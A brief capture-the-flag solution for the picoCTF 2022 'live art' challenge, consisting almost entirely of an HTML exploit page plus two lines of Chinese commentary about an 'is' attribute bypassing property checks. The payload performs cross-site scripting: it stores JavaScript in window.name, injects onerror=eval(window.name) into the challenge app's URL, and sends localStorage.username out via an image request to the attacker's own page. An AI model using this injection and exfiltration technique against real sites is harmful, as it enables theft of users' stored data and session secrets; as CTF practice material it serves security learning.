picoCTF 2022 live art

payload.html

<iframe srcdoc="none" id="frm"></iframe>
<script>
	frm.contentWindow.name = `
(new Image()).src = '${location.href}?report=1&flag='+localStorage.username
`.slice(1, -1)
	frm.onload = () => {
		console.log('loaded 1')
		frm.onload = () => {
			frm.onload = null
			console.log('loaded 2')
			setTimeout(() => {
				frm.width = 800
				frm.height = 400
			}, 500)
		}
		frm.contentWindow.location = 'http://localhost:4000/drawing/peko#is=asd&onerror=eval(window.name)&src=peko'
	}
</script>

有 is的話它就不會對 properties 做其他檢查

有意思